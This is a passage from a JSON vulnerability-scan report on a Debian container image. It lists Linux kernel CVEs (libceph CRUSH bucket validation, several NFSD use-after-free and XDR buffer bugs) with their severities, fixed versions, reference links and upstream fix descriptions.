"https://access.redhat.com/security/cve/CVE-2026-89653", "https://git.kernel.org/linus/aedc9053d909508a5f56c3f49f885fc030df4730%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89653.mbox", "https://git.kernel.org/stable/c/3740c88ca9cb2210a8dbdd55ea4cec119fbe86fe", "https://git.kernel.org/stable/c/4d298880f82c42383b36946bafde7ccf4d804c9b", "https://git.kernel.org/stable/c/736adee11af36e407ed902264f8b2fb5cf94b62f", "https://git.kernel.org/stable/c/8c823bbab3c24e657469a84db96902ba82d4e8bb", "https://git.kernel.org/stable/c/96c3f5fbb0d5386e7111426f047f98cec4586674", "https://git.kernel.org/stable/c/aedc9053d909508a5f56c3f49f885fc030df4730", "https://git.kernel.org/stable/c/c4addccd05bacbef2144b4db14853d0308a218ac", "https://linux.oracle.com/cve/CVE-2026-89653.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89653", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89653" ], "PublishedDate": "2026-09-11T20:19:51.4Z", "LastModifiedDate": "2026-10-19T09:18:02.8Z" }, { "VulnerabilityID": "CVE-2026-89656", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89656", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:163063915cc0525b25678cd4b126bdb06df629c8ecea520c2dfbcd9269762242", "Title": "kernel: libceph: reject buckets with mismatched CRUSH ids", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: reject buckets with mismatched CRUSH ids\n\ncrush_decode() stores bucket data by array slot, and the mapper later\nderives the per-bucket workspace index from the decoded bucket id. A\nmalformed map can therefore make one bucket reuse another bucket's\nworkspace by encoding an id different from -1 - slot.\n\nFor uniform buckets, the second replica selection expands the source\nbucket's permutation into that aliased workspace buffer. If the source\nbucket is larger than the aliased bucket, the write runs past the smaller\npermutation array and can escape the kvmalloc'd CRUSH workspace. KASAN\nreports a slab OOB write of 4 bytes in bucket_perm_choose().\n\nReject buckets whose encoded id does not match their array slot. Valid\nCRUSH maps already use the canonical negative id corresponding to the\nbucket slot, so this restores the invariant expected by\nwork-\u003ework[-1 - in-\u003eid] without changing valid map behavior.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89656", "https://git.kernel.org/linus/3cde4a8302301679937474a5f7a851394cc1bd11%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89656.mbox", "https://git.kernel.org/stable/c/00562ccd4e88d092b9b851df50fad20442bfeb24", "https://git.kernel.org/stable/c/3516a4131c4e45d62ee4e42e82c36930e8c1fbbd", "https://git.kernel.org/stable/c/3cde4a8302301679937474a5f7a851394cc1bd11", "https://git.kernel.org/stable/c/4aeb93daadf388e72073abc204312dd364eeb30a", "https://git.kernel.org/stable/c/6e5c6ce252b1eccfd41670a5cf95ab44f7ba7022", "https://git.kernel.org/stable/c/79900d978158b2d80eef952fc41b9e4dc58d7b83", "https://git.kernel.org/stable/c/baad5875fdd2f5e248250fc3519bb045d64f1716", "https://git.kernel.org/stable/c/ee59040d6ed1a5f8d10d27174b8f32c90ca8e89a", "https://linux.oracle.com/cve/CVE-2026-89656.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89656", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89656" ], "PublishedDate": "2026-09-11T20:19:51.813Z", "LastModifiedDate": "2026-10-19T09:18:03.343Z" }, { "VulnerabilityID": "CVE-2026-89659", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89659", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d6b2ada901e13192fc3634c70b2e9895e316b375e992e6e5149ba09e5770a73b", "Title": "kernel: NFSD: Prevent client use-after-free during delegation revoke", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Prevent client use-after-free during delegation revoke\n\nA delegation stateid holds only a bare pointer to its owning\nnfs4_client and does not keep it alive. The client survives its\nstateids only because __destroy_client() drains cl_delegations and\ncl_revoked before free_client() runs.\n\nnfs4_laundromat() breaks that invariant: it unhashes an\nexpired delegation from cl_delegations, drops deleg_lock, then\nrevoke_delegation() relinks it onto cl_revoked under cl_lock. In that\nwindow the delegation is on neither list, so client_has_state() can\nreport no remaining state.\n\nEvery teardown path first requires cl_rpc_users to be zero, but\nthe laundromat holds no such reference. A client whose recalled\ndelegation has just timed out can therefore reach free_client()\nwhile revoke_delegation() is still about to dereference cl_lock,\na use-after-free.\n\nPin the client with cl_rpc_users across the revoke so teardown blocks\nuntil it completes, then reap the delegation from cl_revoked. A client\nalready expiring reaps its own, so skip it and leave the delegation on\ndel_recall_lru.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89659", "https://access.redhat.com/security/cve/CVE-2026-89659", "https://git.kernel.org/linus/4683ca76b3b7e5808338491c6eb3c20e6b4894d5%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89659.mbox", "https://git.kernel.org/stable/c/0dd276b1324a5e08e83c6f675919946c9f0d61c9", "https://git.kernel.org/stable/c/2a9d637c2a8fd8ac29ad9b29f28d122ef75c1a56", "https://git.kernel.org/stable/c/2f9a200c0ea5b214609b8cea2b6666458bcb54cd", "https://git.kernel.org/stable/c/3c0a53ee0b442348d8d2286d6960d3f07bb3a3d3", "https://git.kernel.org/stable/c/4683ca76b3b7e5808338491c6eb3c20e6b4894d5", "https://git.kernel.org/stable/c/94f0c73797c30a35812ffb32d11b8737d245c405", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-66orhzycbngw.toml", "https://linux.oracle.com/cve/CVE-2026-89659.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89659", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89659" ], "PublishedDate": "2026-09-11T20:19:52.18Z", "LastModifiedDate": "2026-10-30T13:20:25.097Z" }, { "VulnerabilityID": "CVE-2026-89663", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89663", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0479414dfdccb8c56743530687494b0306a38b1dd733deae45d590274ea0630c", "Title": "kernel: nfsd: revoke copy-notify stateids before dropping their reference", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: revoke copy-notify stateids before dropping their reference\n\nCopy-notify stateids live in the s2s_cp_stateids IDR and on their parent\nstid's sc_cp_list, pinned by a single membership reference.\n_free_cpntf_state_locked() only unlinks an entry once its refcount reaches\nzero, so any revoke path that runs while a concurrent\nfind_cpntf_state()/manage_cpntf_state() holder has elevated cs_count drops\nthe reference without unlinking, leaving the entry discoverable with its\nmembership reference already consumed. A second revoke or a laundromat tick\nthen frees it while the reader still holds the pointer -- a\nKASAN-detectable use-after-free at the reader's nfs4_put_cpntf_state().\n\nThis affected all three revoke paths:\n\n - The parent-stid drain (nfs4_free_cpntf_statelist()) repeatedly called\n _free_cpntf_state_locked() on the first list entry; a holder that had\n bumped cs_count made it return early, so the next iteration\n re-decremented and burned the holder's reference.\n\n - OFFLOAD_CANCEL (manage_cpntf_state()) and laundromat expiry likewise\n used _free_cpntf_state_locked() and could drop 2-\u003e1 without unlinking.\n\nAdd revoke_cpntf_state_locked(), which unhashes the entry from the IDR and\nsc_cp_list first (deferring the final free to any holder), and use it from\nall three revoke paths. The drain now walks with list_for_each_entry_safe()\nand revokes each entry unconditionally, so it terminates in one pass per\nentry regardless of cs_count. The unhash is gated on\n!list_empty(\u0026cps-\u003ecp_list); the idr_remove() gate matters because\nidr_alloc_cyclic() may have recycled the so_id by then. Keep\n_free_cpntf_state_locked() for the reference-holder put path only, where a\nconcurrent revoke may already have unlinked the entry (its list_del_init()\nthen a no-op).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89663", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/3b0c3595db99bb4bebd7c8aa8a36f3c50e411bb7%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89663.mbox", "https://git.kernel.org/stable/c/06a62f6dbc60791f4229c6950b1eec6b18df9af1", "https://git.kernel.org/stable/c/3b0c3595db99bb4bebd7c8aa8a36f3c50e411bb7", "https://git.kernel.org/stable/c/5f00e0ab4de45d4f9e4bd0883cf2517acf63fc0d", "https://git.kernel.org/stable/c/6b8149448cdcb476fba4559d1ecc247efee9971b", "https://git.kernel.org/stable/c/a1fca0f7bbb7b100a39c7ba8dd7922c87c4237a3", "https://git.kernel.org/stable/c/b56d2c5f01cddbeca7d11cce81d97db4ec9a464f", "https://git.kernel.org/stable/c/caddbeffab1eaba1d2bcf5ceda35547863466705", "https://git.kernel.org/stable/c/ff8a3cff02b92b2a82f1a9876038fcf953ae9c25", "https://linux.oracle.com/cve/CVE-2026-89663.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89663", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89663" ], "PublishedDate": "2026-09-11T20:19:52.653Z", "LastModifiedDate": "2026-10-19T09:18:04.243Z" }, { "VulnerabilityID": "CVE-2026-89669", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89669", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1ee33a461532240f1788e85e70b005ed5261e080a7c34184329360514762b125", "Title": "kernel: nfsd: initialize copy-notify stateid before publishing it", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: initialize copy-notify stateid before publishing it\n\nnfsd4_copy_notify() finished initializing the cpntf state after\nnfs4_alloc_init_cpntf_state() had already linked it into the\ns2s_cp_stateids IDR and the parent's sc_cp_list, with cs_count == 1 (the\nmembership reference) and none held for the caller. A racing\nOFFLOAD_CANCEL (crafted cl_id == nn-\u003es2s_cp_cl_id plus the guessable\nso_id) could reach manage_cpntf_state() and free the entry, turning the\ncaller's subsequent cpn_cnr_stateid read and cp_p_stateid/cp_p_clid\nwrites into use-after-free. The owning clientid was also only recorded\nafter publication, so it could not gate an ownership check in that window.\n\nRecord cp_p_stateid and cp_p_clid inside nfs4_alloc_init_cpntf_state()\nbefore nfs4_init_cp_state() publishes the entry, and return it with an\nextra reference. The caller reads the stateid under that reference and\ndrops it with nfs4_put_cpntf_state(); on a late error the laundromat\nreaps the entry.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89669", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/129643893b79f8a3c6b72045f933fbab5ee424ca%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89669.mbox", "https://git.kernel.org/stable/c/129643893b79f8a3c6b72045f933fbab5ee424ca", "https://git.kernel.org/stable/c/4415a692346a39fdb647cbd717eda510159aaf55", "https://git.kernel.org/stable/c/4cdef96892f4fa6e70c405b6e8f2fd6972f3b64b", "https://git.kernel.org/stable/c/863b6e995665472f2af5be2436a874ab6a9e5ac6", "https://git.kernel.org/stable/c/9caad13b7cfe9ccb90cc405ac77335800e086595", "https://git.kernel.org/stable/c/a4d7fedcaaf33e60a01e53eafca9041ef966212f", "https://git.kernel.org/stable/c/d18d36395d973ef7372c8e6724970585f75b5c0b", "https://git.kernel.org/stable/c/e08a3dcaca0505f861e344a387f37f94d95dbdc2", "https://linux.oracle.com/cve/CVE-2026-89669.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89669", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89669" ], "PublishedDate": "2026-09-11T20:19:53.397Z", "LastModifiedDate": "2026-10-19T09:18:04.99Z" }, { "VulnerabilityID": "CVE-2026-89674", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89674", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:72cb918e9927f40ad335498f4ac6f9140bdbccae3b3975c72867c74c5901b17d", "Title": "kernel: nfsd: fix XDR length calculation in nfsd4_ff_encode_layoutget", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix XDR length calculation in nfsd4_ff_encode_layoutget\n\nThe XDR buffer size calculation in nfsd4_ff_encode_layoutget() has\nmultiple errors that can result in either an out-of-bounds write or\nleaking uninitialized kernel memory to the client:\n\n - fh_len doesn't account for XDR padding on the file handle data\n - uid and gid lengths use \"8 + len\" but xdr_encode_opaque() actually\n writes \"4 + xdr_align_size(len)\" bytes\n - ds_len omits the flags and stats_collect_hint fields (8 bytes),\n while len's header constant overestimates by 8 bytes -- these\n partially cancel but leave a net mismatch\n\nThe worst case occurs with short strings (e.g. uid=0, gid=0 with an\nodd-sized file handle), where the function writes up to 5 bytes past\nthe reserved XDR buffer. Conversely, when string lengths happen to be\n4-byte aligned, the reservation is too large and stale buffer content\nis sent to the client.\n\nFix this by breaking out every encoded field explicitly in the ds_len\ncalculation, using xdr_align_size() for all variable-length opaque\nfields, and correcting the header constants.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89674", "https://git.kernel.org/linus/f9868174af49d207fbaf0c5e055d088a983684af%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89674.mbox", "https://git.kernel.org/stable/c/0380129b1373c437eb35401a174671c8888f4b80", "https://git.kernel.org/stable/c/29e4478e2ed5a227e8f0c33cacb91bf227cedd47", "https://git.kernel.org/stable/c/3a7fd224df0fbb42167eb1b77be45d72fe0b1098", "https://git.kernel.org/stable/c/65a72b721943618eeb3a41c8b36e915591f3f83f", "https://git.kernel.org/stable/c/bee826c00ac900473f91306f1f3e5a5a81fd4a74", "https://git.kernel.org/stable/c/c81cef6a805dec266c10fc4f83c93d6fcf1a2b43", "https://git.kernel.org/stable/c/e7d9d23ecd9172f05b09bb678ff22db8e361c428", "https://git.kernel.org/stable/c/f9868174af49d207fbaf0c5e055d088a983684af", "https://linux.oracle.com/cve/CVE-2026-89674.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89674", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89674" ], "PublishedDate": "2026-09-11T20:19:54.013Z", "LastModifiedDate": "2026-10-19T09:18:05.607Z" }, { "VulnerabilityID": "CVE-2026-89675", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89675", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:00156ce7568988efcb713f796840fcad1bdc2be9d7b59cc0212dc6559d89299c", "Title": "kernel: nfsd: fix UAF in async copy cancel and shutdown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix UAF in async copy cancel and shutdown\n\nAn async copy could be freed or used after free while a teardown caller\n(OFFLOAD_CANCEL, nfsd4_shutdown_copy, nfsd4_cancel_copy_by_sb) raced the\ncopy kthread:\n\n - find_async_copy() bumped copy-\u003erefcount but left the copy on\n clp-\u003easync_copies, so the reaper's cleanup_async_copy() could run\n release_copy_files() concurrently with a cancel/shutdown caller. Both\n put and NULL nf_src/nf_dst without a common lock, double-putting the\n nfsd_file and freeing it early.\n\n - nfsd4_do_async_copy() set NFSD4_COPY_F_STOPPED before its final uses\n of the copy (nfsd_update_cmtime_attr() on copy-\u003enf_dst,\n nfsd4_send_cb_offload()). nfsd4_stop_copy() treats a set STOPPED bit\n as \"kthread done, skip kthread_stop()\", so a teardown caller ran\n release_copy_files() -- which puts and NULLs nf_dst -- while the\n kthread still dereferenced it (NULL/UAF).\n\n - copy-\u003ecopy_task was never pinned. The one-shot kthread self-reaps on\n return, so kthread_stop()'s get_task_struct() could touch a freed\n task_struct.\n\n - co_cb is embedded in the copy, but nfsd4_send_cb_offload() held a\n reference only on the client, so a concurrent teardown could free\n the copy while the CB_OFFLOAD callback was in flight.\n\nFix the teardown lifetime as a whole:\n\n - find_async_copy() unlinks the copy (clear cp_clp, list_del_init)\n under async_lock; the cancel, shutdown, and sb-cancel paths drop the\n list-membership reference via nfs4_put_copy() after nfsd4_stop_copy().\n Drop the now-redundant list_del fixup from cleanup_async_copy().\n\n - Because unlinking hides the copy from the reaper, its\n cleanup_async_copy() can no longer remove the copy's s2s_cp_stateids\n entry; the cancel/shutdown/sb-cancel paths now call\n nfs4_free_copy_state() themselves (while cp_clp is still valid) so\n the entry does not dangle at freed memory for the laundromat and\n manage_cpntf_state() to dereference.\n\n - Give the kthread its own reference, taken in nfsd4_copy() before\n wake_up_process() and dropped at the end of nfsd4_do_async_copy();\n call wake_up_process() before list_add().\n\n - Pin the task_struct with get_task_struct() in nfsd4_copy(), released\n in nfs4_put_copy(), so kthread_stop() is safe whenever the kthread\n exits. Set NFSD4_COPY_F_STOPPED only in nfsd4_stop_copy(), which now\n always kthread_stop()s before release_copy_files(); completion is\n still reported via NFSD4_COPY_F_COMPLETED, so\n nfsd4_has_active_async_copies() is unaffected. Each teardown caller\n removes the copy from clp-\u003easync_copies first, so kthread_stop() runs\n exactly once.\n\n - Take a copy reference in nfsd4_send_cb_offload(), dropped in\n nfsd4_cb_offload_release(). The kthread still holds its own reference\n there, so the refcount_inc() cannot race the final free.\n\n - Read cp_clp with smp_load_acquire() to pair with the unordered\n set_bit()/clear_bit() writers (Documentation/atomic_bitops.rst).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77690", "https://access.redhat.com/security/cve/CVE-2026-89675", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2521498", 